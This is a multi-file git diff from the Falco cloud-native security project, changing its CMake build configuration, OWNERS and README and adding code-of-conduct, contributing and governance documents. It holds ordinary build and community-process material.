-* [SysFlow](https://sysflow.io) SysFlow is a cloud-native system telemetry framework that focuses on data abstraction, behavioral analytics, and noise reduction. At its core, SysFlow exposes a compact open telemetry format that records workload behaviors by connecting event and flow representations of process control flows, file interactions, and network communications. The resulting abstraction encodes a graph structure that enables provenance reasoning on host and container environments, and fast retrieval of security-relevant information.
-
-* [StackRox](https://stackrox.io) is the industry’s first Kubernetes-native security platform enabling organizations to build, deploy, and run cloud-native applications securely. The platform works with Kubernetes environments and integrates with DevOps and security tools, enabling teams to operationalize and secure their supply chain, infrastructure, and workloads. StackRox aims to harness containerized applications’ development speed while giving operations and security teams greater context and risk profiling. StackRox leverages cloud-native principles and declarative artifacts to automate DevSecOps best practices.
-
-## Adding a name
-
-If you would like to add your name to this file, submit a pull request with your change.

CMakeLists.txt

@@ -16,34 +16,6 @@ project(falco)
 
 option(USE_BUNDLED_DEPS "Bundle hard to find dependencies into the Falco binary" OFF)
 option(BUILD_WARNINGS_AS_ERRORS "Enable building with -Wextra -Werror flags" OFF)
-option(MINIMAL_BUILD "Build a minimal version of Falco, containing only the engine and basic input/output (EXPERIMENTAL)" OFF)
-option(MUSL_OPTIMIZED_BUILD "Enable if you want a musl optimized build" OFF)
-option(BUILD_FALCO_UNIT_TESTS "Build falco unit tests" OFF)
-
-# gVisor is currently only supported on Linux x86_64
-if(CMAKE_SYSTEM_PROCESSOR STREQUAL "x86_64" AND CMAKE_SYSTEM_NAME MATCHES "Linux" AND NOT MINIMAL_BUILD)
-  option(BUILD_FALCO_GVISOR "Build gVisor support for Falco" ON)
-  if (BUILD_FALCO_GVISOR)
-    add_definitions(-DHAS_GVISOR)
-  endif()
-endif()
-
-# Modern BPF is not supported on not Linux systems and in MINIMAL_BUILD
-if(CMAKE_SYSTEM_NAME MATCHES "Linux" AND NOT MINIMAL_BUILD)
-  option(BUILD_FALCO_MODERN_BPF "Build modern BPF support for Falco" OFF)
-  if(BUILD_FALCO_MODERN_BPF)
-    add_definitions(-DHAS_MODERN_BPF)
-  endif()
-endif()
-
-# We shouldn't need to set this, see https://gitlab.kitware.com/cmake/cmake/-/issues/16419
-option(EP_UPDATE_DISCONNECTED "ExternalProject update disconnected" OFF)
-if (${EP_UPDATE_DISCONNECTED})
-  set_property(
-    DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}
-    PROPERTY EP_UPDATE_DISCONNECTED TRUE)
-endif()
-
 
 # Elapsed time
 # set_property(GLOBAL PROPERTY RULE_LAUNCH_COMPILE "${CMAKE_COMMAND} -E time") # TODO(fntlnz, leodido): add a flag to enable this
@@ -65,40 +37,19 @@ if(NOT DEFINED FALCO_ETC_DIR)
   set(FALCO_ETC_DIR "${CMAKE_INSTALL_FULL_SYSCONFDIR}/falco")
 endif()
 
-# This will be used to print the architecture for which Falco is compiled.
-set(FALCO_TARGET_ARCH ${CMAKE_SYSTEM_PROCESSOR})
-
-if(NOT FALCO_EXTRA_DEBUG_FLAGS)
-  set(FALCO_EXTRA_DEBUG_FLAGS "-D_DEBUG")
+if(NOT DRAIOS_DEBUG_FLAGS)
+  set(DRAIOS_DEBUG_FLAGS "-D_DEBUG")
 endif()
 
 string(TOLOWER "${CMAKE_BUILD_TYPE}" CMAKE_BUILD_TYPE)
 if(CMAKE_BUILD_TYPE STREQUAL "debug")
-  set(KBUILD_FLAGS "${FALCO_EXTRA_DEBUG_FLAGS} ${FALCO_EXTRA_FEATURE_FLAGS}")
+  set(KBUILD_FLAGS "${DRAIOS_DEBUG_FLAGS} ${DRAIOS_FEATURE_FLAGS}")
 else()
   set(CMAKE_BUILD_TYPE "release")
-  set(KBUILD_FLAGS "${FALCO_EXTRA_FEATURE_FLAGS}")
-  add_definitions(-DBUILD_TYPE_RELEASE)
-endif()
-message(STATUS "Build type: ${CMAKE_BUILD_TYPE}")
-
-if(MINIMAL_BUILD)
-  set(MINIMAL_BUILD_FLAGS "-DMINIMAL_BUILD")
+  set(KBUILD_FLAGS "${DRAIOS_FEATURE_FLAGS}")
 endif()
 
-if(MUSL_OPTIMIZED_BUILD)
-  set(MUSL_FLAGS "-static -Os -fPIE -pie")
-  add_definitions(-DMUSL_OPTIMIZED)
-endif()
-
-# explicitly set hardening flags
-set(CMAKE_POSITION_INDEPENDENT_CODE ON)
-set(FALCO_SECURITY_FLAGS "-Wl,-z,relro,-z,now -fstack-protector-strong")
-if(CMAKE_BUILD_TYPE STREQUAL "release")
-  set(FALCO_SECURITY_FLAGS "${FALCO_SECURITY_FLAGS} -D_FORTIFY_SOURCE=2")
-endif()
-
-set(CMAKE_COMMON_FLAGS "${FALCO_SECURITY_FLAGS} -Wall -ggdb ${FALCO_EXTRA_FEATURE_FLAGS} ${MINIMAL_BUILD_FLAGS} ${MUSL_FLAGS}")
+set(CMAKE_COMMON_FLAGS "-Wall -ggdb ${DRAIOS_FEATURE_FLAGS}")
 
 if(BUILD_WARNINGS_AS_ERRORS)
   set(CMAKE_SUPPRESSED_WARNINGS
@@ -110,8 +61,8 @@ endif()
 set(CMAKE_C_FLAGS "${CMAKE_COMMON_FLAGS}")
 set(CMAKE_CXX_FLAGS "--std=c++0x ${CMAKE_COMMON_FLAGS} -Wno-class-memaccess")
 
-set(CMAKE_C_FLAGS_DEBUG "${FALCO_EXTRA_DEBUG_FLAGS}")
-set(CMAKE_CXX_FLAGS_DEBUG "${FALCO_EXTRA_DEBUG_FLAGS}")
+set(CMAKE_C_FLAGS_DEBUG "${DRAIOS_DEBUG_FLAGS}")
+set(CMAKE_CXX_FLAGS_DEBUG "${DRAIOS_DEBUG_FLAGS}")
 
 set(CMAKE_C_FLAGS_RELEASE "-O3 -fno-strict-aliasing -DNDEBUG")
 set(CMAKE_CXX_FLAGS_RELEASE "-O3 -fno-strict-aliasing -DNDEBUG")
@@ -119,19 +70,9 @@ set(CMAKE_CXX_FLAGS_RELEASE "-O3 -fno-strict-aliasing -DNDEBUG")
 include(GetFalcoVersion)
 
 set(PACKAGE_NAME "falco")
-set(DRIVER_NAME "falco")
-set(DRIVER_DEVICE_NAME "falco")
-set(DRIVERS_REPO "https://download.falco.org/driver")
-
-# If no path is provided, try to search the BPF probe in: `home/.falco/falco-bpf.o`
-# This is the same fallback that we had in the libraries: `SCAP_PROBE_BPF_FILEPATH`.
-set(FALCO_PROBE_BPF_FILEPATH ".${DRIVER_NAME}/${DRIVER_NAME}-bpf.o")
-add_definitions(-DFALCO_PROBE_BPF_FILEPATH="${FALCO_PROBE_BPF_FILEPATH}")
-
-if(NOT DEFINED FALCO_COMPONENT_NAME)
-    set(FALCO_COMPONENT_NAME "${CMAKE_PROJECT_NAME}")
-endif()
-
+set(PROBE_VERSION "${FALCO_VERSION}")
+set(PROBE_NAME "falco-probe")
+set(PROBE_DEVICE_NAME "falco")
 if(CMAKE_INSTALL_PREFIX_INITIALIZED_TO_DEFAULT)
   set(CMAKE_INSTALL_PREFIX
       /usr
@@ -142,58 +83,154 @@ set(CMD_MAKE make)
 
 include(ExternalProject)
 
-# libs
-include(falcosecurity-libs)
-
 # jq
 include(jq)
 
 # nlohmann-json
-include(njson)
+set(NJSON_SRC "${PROJECT_BINARY_DIR}/njson-prefix/src/njson")
+message(STATUS "Using bundled nlohmann-json in '${NJSON_SRC}'")
+set(NJSON_INCLUDE "${NJSON_SRC}/single_include")
+ExternalProject_Add(
+  njson
+  URL "https://s3.amazonaws.com/download.draios.com/dependencies/njson-3.3.0.tar.gz"
+  URL_MD5 "e26760e848656a5da400662e6c5d999a"
+  CONFIGURE_COMMAND ""
+  BUILD_COMMAND ""
+  INSTALL_COMMAND "")
 
-# b64
-include(b64)
+# curses
+# We pull this in because libsinsp won't build without it
+set(CURSES_NEED_NCURSES TRUE)
+find_package(Curses REQUIRED)
+message(STATUS "Found ncurses: include: ${CURSES_INCLUDE_DIR}, lib: ${CURSES_LIBRARIES}")
+
+# libb64
+set(B64_SRC "${PROJECT_BINARY_DIR}/b64-prefix/src/b64")
+message(STATUS "Using bundled b64 in '${B64_SRC}'")
+set(B64_INCLUDE "${B64_SRC}/include")
+set(B64_LIB "${B64_SRC}/src/libb64.a")
+ExternalProject_Add(
+  b64
+  URL "https://s3.amazonaws.com/download.draios.com/dependencies/libb64-1.2.src.zip"
+  URL_MD5 "a609809408327117e2c643bed91b76c5"
+  CONFIGURE_COMMAND ""
+  BUILD_COMMAND ${CMD_MAKE}
+  BUILD_IN_SOURCE 1
+  INSTALL_COMMAND "")
 
 # yaml-cpp
 include(yaml-cpp)
 
-if(NOT MINIMAL_BUILD)
-  # OpenSSL
-  include(openssl)
+# OpenSSL
+include(OpenSSL)
 
-  # libcurl
-  include(curl)
+# libcurl
+include(cURL)
 
-  # cpp-httlib
-  include(cpp-httplib)
+# LuaJIT
+set(LUAJIT_SRC "${PROJECT_BINARY_DIR}/luajit-prefix/src/luajit/src")
+message(STATUS "Using bundled LuaJIT in '${LUAJIT_SRC}'")
+set(LUAJIT_INCLUDE "${LUAJIT_SRC}")
+set(LUAJIT_LIB "${LUAJIT_SRC}/libluajit.a")
+ExternalProject_Add(
+  luajit
+  URL "https://s3.amazonaws.com/download.draios.com/dependencies/LuaJIT-2.0.3.tar.gz"
+  URL_MD5 "f14e9104be513913810cd59c8c658dc0"
+  CONFIGURE_COMMAND ""
+  BUILD_COMMAND ${CMD_MAKE}
+  BUILD_IN_SOURCE 1
+  INSTALL_COMMAND "")
+
+# Lpeg
+set(LPEG_SRC "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg")
+set(LPEG_LIB "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg/build/lpeg.a")
+message(STATUS "Using bundled lpeg in '${LPEG_SRC}'")
+set(LPEG_DEPENDENCIES "")
+list(APPEND LPEG_DEPENDENCIES "luajit")
+ExternalProject_Add(
+  lpeg
+  DEPENDS ${LPEG_DEPENDENCIES}
+  URL "https://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz"
+  URL_MD5 "0aec64ccd13996202ad0c099e2877ece"
+  BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh" "${LPEG_SRC}/build"
+  BUILD_IN_SOURCE 1
+  CONFIGURE_COMMAND ""
+  INSTALL_COMMAND "")
+
+# libyaml
+find_library(LIBYAML_LIB NAMES libyaml.so)
+if(LIBYAML_LIB)
+  message(STATUS "Found libyaml: lib: ${LIBYAML_LIB}")
+else()
+  message(FATAL_ERROR "Couldn't find system libyaml")
 endif()
 
-include(cxxopts)
+# lyaml
+set(LYAML_SRC "${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/ext/yaml")
+set(LYAML_LIB "${LYAML_SRC}/.libs/yaml.a")
+message(STATUS "Using bundled lyaml in '${LYAML_SRC}'")
+set(LYAML_DEPENDENCIES "")
+list(APPEND LYAML_DEPENDENCIES "luajit")
+ExternalProject_Add(
+  lyaml
+  DEPENDS ${LYAML_DEPENDENCIES}
+  URL "https://s3.amazonaws.com/download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
+  URL_MD5 "dc3494689a0dce7cf44e7a99c72b1f30"
+  BUILD_COMMAND ${CMD_MAKE}
+  BUILD_IN_SOURCE 1
+  CONFIGURE_COMMAND ./configure --enable-static LIBS=-lyaml LUA_INCLUDE=-I${LUAJIT_INCLUDE} LUA=${LUAJIT_SRC}/luajit
+  INSTALL_COMMAND sh -c
+                  "cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/engine/lua")
 
-# One TBB
-include(tbb)
+# Intel TBB
+set(TBB_SRC "${PROJECT_BINARY_DIR}/tbb-prefix/src/tbb")
 
-if(NOT MINIMAL_BUILD)
-  include(zlib)
-  include(cares)
-  include(protobuf)
-  # gRPC
-  include(grpc)
-endif()
+message(STATUS "Using bundled tbb in '${TBB_SRC}'")
+
+set(TBB_INCLUDE_DIR "${TBB_SRC}/include/")
+set(TBB_LIB "${TBB_SRC}/build/lib_release/libtbb.a")
+ExternalProject_Add(
+  tbb
+  URL "https://github.com/intel/tbb/archive/2018_U5.tar.gz"
+  URL_MD5 "ff3ae09f8c23892fbc3008c39f78288f"
+  CONFIGURE_COMMAND ""
+  BUILD_COMMAND ${CMD_MAKE} tbb_build_dir=${TBB_SRC}/build tbb_build_prefix=lib extra_inc=big_iron.inc
+  BUILD_IN_SOURCE 1
+  BUILD_BYPRODUCTS ${TBB_LIB}
+  INSTALL_COMMAND "")
+
+# civetweb
+set(CIVETWEB_SRC "${PROJECT_BINARY_DIR}/civetweb-prefix/src/civetweb/")
+set(CIVETWEB_LIB "${CIVETWEB_SRC}/install/lib/libcivetweb.a")
+set(CIVETWEB_INCLUDE_DIR "${CIVETWEB_SRC}/install/include")
+message(STATUS "Using bundled civetweb in '${CIVETWEB_SRC}'")
+ExternalProject_Add(
+  civetweb
+  URL "https://github.com/civetweb/civetweb/archive/v1.11.tar.gz"
+  URL_MD5 "b6d2175650a27924bccb747cbe084cd4"
+  CONFIGURE_COMMAND ${CMAKE_COMMAND} -E make_directory ${CIVETWEB_SRC}/install/lib
+  COMMAND ${CMAKE_COMMAND} -E make_directory ${CIVETWEB_SRC}/install/include
+  BUILD_IN_SOURCE 1
+  BUILD_COMMAND ${CMD_MAKE} COPT="-DNO_FILES" WITH_CPP=1
+  INSTALL_COMMAND ${CMD_MAKE} COPT="-DNO_FILES" install-lib install-headers PREFIX=${CIVETWEB_SRC}/install "WITH_CPP=1")
+
+# gRPC
+include(gRPC)
+
+# sysdig
+include(sysdig)
 
 # Installation
-install(FILES falco.yaml DESTINATION "${FALCO_ETC_DIR}" COMPONENT "${FALCO_COMPONENT_NAME}")
+install(FILES falco.yaml DESTINATION "${FALCO_ETC_DIR}")
 
-if(NOT MINIMAL_BUILD)
-  # Coverage
-  include(Coverage)
+# Coverage
+include(Coverage)
 
-  # Tests
-  add_subdirectory(test)
-endif()
+# Tests
+add_subdirectory(test)
 
 # Rules
-include(rules)
+add_subdirectory(rules)
 
 # Dockerfiles
 add_subdirectory(docker)
@@ -201,29 +238,16 @@ add_subdirectory(docker)
 # Clang format
 # add_custom_target(format COMMAND clang-format --style=file -i $<TARGET_PROPERTY:falco,SOURCES> COMMENT "Formatting ..." VERBATIM)
 
-# Static analysis
-include(static-analysis)
-
 # Shared build variables
 set(FALCO_SINSP_LIBRARY sinsp)
 set(FALCO_SHARE_DIR share/falco)
-set(FALCO_PLUGINS_DIR ${FALCO_SHARE_DIR}/plugins)
 set(FALCO_ABSOLUTE_SHARE_DIR "${CMAKE_INSTALL_PREFIX}/${FALCO_SHARE_DIR}")
 set(FALCO_BIN_DIR bin)
 
 add_subdirectory(scripts)
 add_subdirectory(userspace/engine)
 add_subdirectory(userspace/falco)
-
-if(NOT MUSL_OPTIMIZED_BUILD)
-  include(plugins)
-endif()
-
-include(falcoctl)
+add_subdirectory(tests)
 
 # Packages configuration
 include(CPackConfig)
-
-if(BUILD_FALCO_UNIT_TESTS)
-  add_subdirectory(unit_tests)
-endif()

CODE_OF_CONDUCT.md

@@ -0,0 +1,38 @@
+# CNCF Community Code of Conduct v1.0
+
+## Contributor Code of Conduct
+
+As contributors and maintainers of this project, and in the interest of fostering
+an open and welcoming community, we pledge to respect all people who contribute
+through reporting issues, posting feature requests, updating documentation,
+submitting pull requests or patches, and other activities.
+
+We are committed to making participation in this project a harassment-free experience for
+everyone, regardless of level of experience, gender, gender identity and expression,
+sexual orientation, disability, personal appearance, body size, race, ethnicity, age,
+religion, or nationality.
+
+Examples of unacceptable behavior by participants include:
+
+* The use of sexualized language or imagery
+* Personal attacks
+* Trolling or insulting/derogatory comments
+* Public or private harassment
+* Publishing other's private information, such as physical or electronic addresses,
+ without explicit permission
+* Other unethical or unprofessional conduct.
+
+Project maintainers have the right and responsibility to remove, edit, or reject
+comments, commits, code, wiki edits, issues, and other contributions that are not
+aligned to this Code of Conduct. By adopting this Code of Conduct, project maintainers
+commit themselves to fairly and consistently applying these principles to every aspect
+of managing this project. Project maintainers who do not follow or enforce the Code of
+Conduct may be permanently removed from the project team.
+
+This code of conduct applies both within project spaces and in public spaces
+when an individual is representing the project or its community.
+
+Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting a CNCF project maintainer, [Sarah Novotny](mailto:sarahnovotny@google.com), and/or [Dan Kohn](mailto:dan@linuxfoundation.org).
+
+This Code of Conduct is adapted from the [Contributor Covenant](http://contributor-covenant.org), version 1.2.0, available at
+http://contributor-covenant.org/version/1/2/0/

CONTRIBUTING.md

@@ -0,0 +1,149 @@
+# Contributing to Falco
+
+- [Contributing to Falco](#contributing-to-falco)
+  - [Code of Conduct](#code-of-conduct)
+  - [Issues](#issues)
+    - [Triage issues](#triage-issues)
+      - [More about labels](#more-about-labels)
+    - [Slack](#slack)
+  - [Pull Requests](#pull-requests)
+    - [Commit convention](#commit-convention)
+      - [Rule type](#rule-type)
+  - [Coding Guidelines](#coding-guidelines)
+    - [C++](#c)
+  - [Developer Certificate Of Origin](#developer-certificate-of-origin)
+
+## Code of Conduct
+
+Falco has a
+[Code of Conduct](CODE_OF_CONDUCT.md)
+to which all contributors must adhere, please read it before interacting with the repository or the community in any way.
+
+## Issues
+
+Issues are the heartbeat ❤️ of the Falco project, there are mainly three kinds of issues you can open:
+
+- Bug report: you believe you found a problem in Falco and you want to discuss and get it fixed,
+creating an issue with the **bug report template** is the best way to do so.
+- Enhancement: any kind of new feature need to be discussed in this kind of issue, do you want a new rule or a new feature? This is the kind of issue you want to open. Be very good at explaining your intent, it's always important that others can understand what you mean in order to discuss, be open and collaborative in letting others help you getting this done!
+- Failing tests: you noticed a flaky test or a problem with a build? This is the kind of issue to triage that!
+
+The best way to get **involved** in the project is through issues, you can help in many ways:
+
+- Issues triaging: participating in the discussion and adding details to open issues is always a good thing,
+sometimes issues need to be verified, you could be the one writing a test case to fix a bug!
+- Helping to resolve the issue: you can help in getting it fixed in many ways, more often by opening a pull request.
+
+### Triage issues
+
+We need help in categorizing issues. Thus any help is welcome!
+
+When you triage an issue, you:
+
+* assess whether it has merit or not
+
+* quickly close it by correctly answering a question
+
+* point the reporter to a resource or documentation answering the issue
+
+* tag it via labels, projects, or milestones
+
+* take ownership submitting a PR for it, in case you want 😇
+
+#### More about labels
+
+These guidelines are not set in stone and are subject to change.
+
+Anyway a `kind/*` label for any issue is mandatory.
+
+This is the current [label set](https://github.com/falcosecurity/falco/labels) we have.
+
+You can use commands - eg., `/label <some-label>` to add (or remove) labels or manually do it.
+
+The commands available are the following ones:
+
+```
+/[remove-](area|kind|priority|triage|label)
+```
+
+Some examples:
+
+* `/area rules`
+* `/remove-area rules`
+* `/kind kernel-module`
+* `/label good-first-issue`
+* `/triage duplicate`
+* `/triage unresolved`
+* `/triage not-reproducible`
+* `/triage support`
+* ...
+
+### Slack
+
+Other discussion, and **support requests** should go through the `#falco` channel in the open source slack, please join [here](https://slack.sysdig.com).
+
+## Pull Requests
+
+Thanks for taking time to make a [pull request](https://help.github.com/articles/about-pull-requests) (hereafter PR).
+
+In the PR body, feel free to add an area label if appropriate by typing `/area <AREA>`, PRs will also
+need a kind, make sure to specify the appropriate one by typing `/kind <KIND>`.
+
+The list of labels is [here](https://github.com/falcosecurity/falco/labels).
+
+Also feel free to suggest a reviewer with `/cc @theirname`, or to assign an assignee using `/assign @nickname`.
+
+Once your reviewer is happy, they will say `/lgtm` which will apply the
+`lgtm` label, and will apply the `approved` label if they are an
+[owner](/OWNERS).
+
+Your PR will be automatically merged once it has the `lgtm` and `approved`
+labels, does not have any `do-not-merge/*` labels, and all status checks (eg., rebase, tests, DCO) are positive.
+
+### Commit convention
+
+As commit convention, we adopt [Conventional Commits v1.0.0](https://www.conventionalcommits.org/en/v1.0.0/), we have an history
+of commits that do not adopt the convention but any new commit must follow it to be eligible for merge.
+
+#### Rule type
+
+Besides the classic types, we adopt a type for rules, `rule(<scope>):`.
+Example:
+
+```
+rule(Write below monitored dir): make sure monitored dirs are monitored.
+```
+
+Each rule change must be on its own commit, if a change to a macro is done while changing a rule they can go together but only one rule per commit must happen.
+
+If you are changing only a macro, the commit will look like this:
+
+```
+rule(macro user_known_write_monitored_dir_conditions): make sure conditions are great
+```
+
+## Coding Guidelines
+
+### C++
+
+* File `userspace/engine/banned.h` defines some functions as invalid tokens. These functions are not allowed to be used in the codebase. Whenever creating a new cpp file, include the `"banned.h"` headers. This ensures that the banned functions are not compiled.
+
+  A complete list of banned functions can be found [here](./userspace/engine/banned.h).
+
+## Developer Certificate Of Origin
+
+The [Developer Certificate of Origin (DCO)](https://developercertificate.org/) is a lightweight way for contributors to certify that they wrote or otherwise have the right to submit the code they are contributing to the project.
+
+Contributors to the Falco project sign-off that they adhere to these requirements by adding a `Signed-off-by` line to commit messages.
+
+```
+This is my commit message
+
+Signed-off-by: John Poiana <jpoiana@falco.org>
+```
+
+Git even has a `-s` command line option to append this automatically to your commit message:
+
+```
+$ git commit -s -m 'This is my commit message'
+```

GOVERNANCE.md

@@ -0,0 +1,55 @@
+# Process for becoming a maintainer
+
+* Express interest to the existing maintainers that you or your organization is interested in becoming a
+  maintainer. Becoming a maintainer generally means that you are going to be spending substantial
+  time (>25%) on Falco for the foreseeable future. You should have domain expertise and be extremely
+  proficient in C++. Ultimately your goal is to become a maintainer that will represent your
+  organization.
+* We will expect you to start contributing increasingly complicated PRs, under the guidance
+  of the existing maintainers.
+* We may ask you to do some PRs from our backlog.
+* As you gain experience with the code base and our standards, we will ask you to do code reviews
+  for incoming PRs (i.e., all maintainers are expected to shoulder a proportional share of
+  community reviews).
+* After a period of approximately 2-3 months of working together and making sure we see eye to eye,
+  the existing maintainers will confer and decide whether to grant maintainer status or not.
+  We make no guarantees on the length of time this will take, but 2-3 months is the approximate
+  goal.
+
+## Maintainer responsibilities
+
+* Monitor Slack (delayed response is perfectly acceptable).
+* Triage GitHub issues and perform pull request reviews for other maintainers and the community.
+* During GitHub issue triage, apply all applicable [labels](https://github.com/falcosecurity/falco/labels)
+  to each new issue. Labels are extremely useful for future issue follow up. Which labels to apply
+  is somewhat subjective so just use your best judgment.
+* Make sure that ongoing PRs are moving forward at the right pace or closing them.
+* Participate when called upon in the security releases. Note that although this should be a rare
+  occurrence, if a serious vulnerability is found, the process may take up to several full days of
+  work to implement. This reality should be taken into account when discussing time commitment
+  obligations with employers.
+* In general continue to be willing to spend at least 25% of ones time working on Falco (~1.25
+  business days per week).
+
+## When does a maintainer lose maintainer status
+
+If a maintainer is no longer interested or cannot perform the maintainer duties listed above, they
+should volunteer to be moved to emeritus status. In extreme cases this can also occur by a vote of
+the maintainers per the voting process below.
+
+# Conflict resolution and voting
+
+In general, we prefer that technical issues and maintainer membership are amicably worked out
+between the persons involved. If a dispute cannot be decided independently, the maintainers can be
+called in to decide an issue. If the maintainers themselves cannot decide an issue, the issue will
+be resolved by voting. The voting process is a simple majority in which each senior maintainer
+receives two votes and each normal maintainer receives one vote.
+
+# Adding new projects to the falcosecurity GitHub organization
+
+New projects will be added to the falcosecurity organization via GitHub issue discussion in one of the
+existing projects in the organization. Once sufficient discussion has taken place (~3-5 business
+days but depending on the volume of conversation), the maintainers of *the project where the issue
+was opened* (since different projects in the organization may have different maintainers) will
+decide whether the new project should be added. See the section above on voting if the maintainers
+cannot easily decide.

OWNERS

@@ -1,12 +1,12 @@
 approvers:
-  - mstemm
-  - leogr
-  - jasondellaluce
-  - fededp
-  - andreagit97
-reviewers:
-  - kaizhe
-emeritus_approvers:
   - fntlnz
   - kris-nova
   - leodido
+  - mstemm
+reviewers:
+  - fntlnz
+  - kaizhe
+  - kris-nova
+  - leodido
+  - mfdii
+  - mstemm

README.md

@@ -3,178 +3,68 @@
 
 <hr>
 
-[![Build Status](https://img.shields.io/circleci/build/github/falcosecurity/falco/master?style=for-the-badge)](https://circleci.com/gh/falcosecurity/falco) [![CII Best Practices Summary](https://img.shields.io/cii/summary/2317?label=CCI%20Best%20Practices&style=for-the-badge)](https://bestpractices.coreinfrastructure.org/projects/2317) [![GitHub](https://img.shields.io/github/license/falcosecurity/falco?style=for-the-badge)](COPYING) [![Latest](https://img.shields.io/github/v/release/falcosecurity/falco?style=for-the-badge)](https://github.com/falcosecurity/falco/releases/latest) ![Architectures](https://img.shields.io/badge/ARCHS-x86__64%7Caarch64-blueviolet?style=for-the-badge)
+# The Falco Project
 
-Want to talk? Join us on the [#falco](https://kubernetes.slack.com/messages/falco) channel in the [Kubernetes Slack](https://slack.k8s.io).
+#### Latest release
 
-## Latest releases
+**v0.19.0**
+Read the [change log](CHANGELOG.md)
 
-Read the [change log](CHANGELOG.md).
-
-<!-- 
-Badges in the following table are constructed by using the
-https://img.shields.io/badge/dynamic/xml endpoint.
-
-Parameters are configured for fetching packages from S3 before 
-(filtered by prefix, sorted in ascending order) and for picking 
-the latest package by using an XPath selector after.
-
-- Common query parameters:
-
-color=#300aec7
-style=flat-square
-label=Falco
-
-- DEB packages parameters:
-
-url=https://falco-distribution.s3-eu-west-1.amazonaws.com/?prefix=packages/deb/stable/falco-
-query=substring-before(substring-after((/*[name()='ListBucketResult']/*[name()='Contents'])[last()]/*[name()='Key'],"falco-"),".asc")
-
-- RPM packages parameters:
-
-url=https://falco-distribution.s3-eu-west-1.amazonaws.com/?prefix=packages/rpm/falco-
-query=substring-before(substring-after((/*[name()='ListBucketResult']/*[name()='Contents'])[last()]/*[name()='Key'],"falco-"),".asc")
-
-- BIN packages parameters:
-
-url=https://falco-distribution.s3-eu-west-1.amazonaws.com/?prefix=packages/bin/x86_64/falco-
-query=substring-after((/*[name()='ListBucketResult']/*[name()='Contents'])[last()]/*[name()='Key'], "falco-")
-
-Notes:
- - if more than 1000 items are present under as S3 prefix, 
-   the actual latest package will be not picked;
-   see https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html
- - for `-dev` packages, the S3 prefix is modified accordingly
- - finally, all parameters are URL encoded and appended to the badge endpoint
-
--->
-
-|              | development                                                                                                                                                                                                                                                                                                                                                                                                                                                                | stable                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
-|--------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| rpm-x86_64          | [![rpm-dev](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Frpm-dev%2Ffalco-%26delimiter=aarch64)][1]          | [![rpm](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Frpm%2Ffalco-%26delimiter=aarch64)][2]          |
-| deb-x86_64          | [![deb-dev](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fdeb-dev%2Fstable%2Ffalco-%26delimiter=aarch64)][3] | [![deb](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fdeb%2Fstable%2Ffalco-%26delimiter=aarch64)][4] |
